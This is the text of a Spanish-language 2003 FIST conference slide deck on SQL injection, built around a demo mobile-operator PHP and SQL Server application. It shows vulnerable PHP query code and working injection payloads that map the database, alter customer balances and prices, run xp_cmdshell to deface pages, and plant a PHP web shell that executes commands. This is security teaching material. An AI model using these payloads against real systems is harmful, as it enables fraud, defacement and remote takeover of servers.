Exploiting Web applications SQL Injection

FIST Conference October 2003 @

SQL Injection
© Rafael San Miguel Carrasco

SQL Injection

Escenario:

 Windows 2000 Professional

 Apache Win32 1.3.28

 PHP 4.3.3

 SQL Server 2000

 Documentos HTML y scripts PHP

© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 2

SQL Injection

Operadora de móviles, servicios online:

 consulta de saldo

 contratación de teleservicios

A través de un identificador secreto asignado a
cada cliente, que se utiliza para consultar
información y como medio de pago.


SQL Injection
Estructura tabla “clientes”:


SQL Injection

Estructura tabla “servicios”:


SQL Injection

Página principal:


SQL Injection
Consulta de saldo legítima:


SQL Injection

Contratación de un servicio:


SQL Injection

consultasaldo.php:

$query = "SELECT nombre, apellidos, saldo FROM clientes
WHERE id='$idcliente';";
$result = mssql_query ($query);
$nfilas = mssql_num_rows ($result);

while ($row = mssql_fetch_array ($result) ) {
echo "Nombre del cliente: " . $row[0] . " " . $row[1] . " ";
echo "Saldo actual: " . $row[2] . "";
}

SQL Injection

contratar.php:
$query = "SELECT * FROM servicios WHERE id='$idservicio';";
$result = mssql_query ($query);
$row = mssql_fetch_array ($result);
$precio = $row [3];

echo "El precio del servicio que desea contratar es de $precio
euros ";
$saldo_final = $saldo_actual - $precio;

$query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';";
mssql_query ($query);
$query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id=
'$idcliente';";
mssql_query ($query);

SQL Injection

Mapear la base de datos:

 tablas que componen la base de datos

 listado y tipo de las columnas de cada tabla


SQL Injection
5' AND 1=0 union select TABLE_NAME from
INFORMATION_SCHEMA.TABLES—

Warning: mssql_query(): message: Todas las consultas
de una instruccion SQL que contenga un operador
UNION deben tener el mismo numero de expresiones
en sus listas de destino. (severity 16) in
c:apachehtdocsconsultasaldo.php on line 21

5‘ AND 1=0 union select TABLE_NAME," ",1 from

INFORMATION_SCHEMA.TABLES--


SQL Injection


SQL Injection

5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from
INFORMATION_SCHEMA.COLUMNS


SQL Injection

5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from
syscolumns, INFORMATION_SCHEMA.COLUMNS—


SQL Injection

5‘ AND 1=0; update clientes set saldo=500000 where id=5555--


SQL Injection

5556'; update servicios set precio=1 where nombre_servicio=
"llamada en espera"—


SQL Injection
Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'.
(severity 15) in c:apachehtdocscontratar.php on line 22

Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de
caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22


SQL Injection

5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img
src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> hacked
</body></html>" > c:apachehtdocsdeface.htm'—

5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm
c:apachehtdocsprincipal.htm’—

SQL Injection


SQL Injection

shell.php:

<html>
<body><?php
$comando = $_GET["comando"];
echo "$comando ";
$resultado = system ($comando);
echo $resultado;
?>
</body>
</html>

O también: passthru ()

SQL Injection

5556'; exec master..xp_cmdshell 'echo "<html><body>
<?php $comando=$_GET["comando"];echo $comando;
$resultado = system ($comando);echo $resultado;?>
</body></html>" > c:apachehtdocsshell.php'--

http://127.0.0.1/shell.php?comando=dir..

SQL Injection
http://127.0.0.1/shell.php?comando=type c:odbc.conf


SQL Injection

En php.ini:

; Magic quotes for incoming
; GET/POST/Cookie data.
magic_quotes_gpc = On / Off

Sin embargo, con campos numéricos esta
protección es inútil


Exploiting Web applications SQL Injection

Más contenido relacionado

Destacado

Similar a Exploiting Web applications SQL Injection

Más de Conferencias FIST

Exploiting Web applications SQL Injection

Notas del editor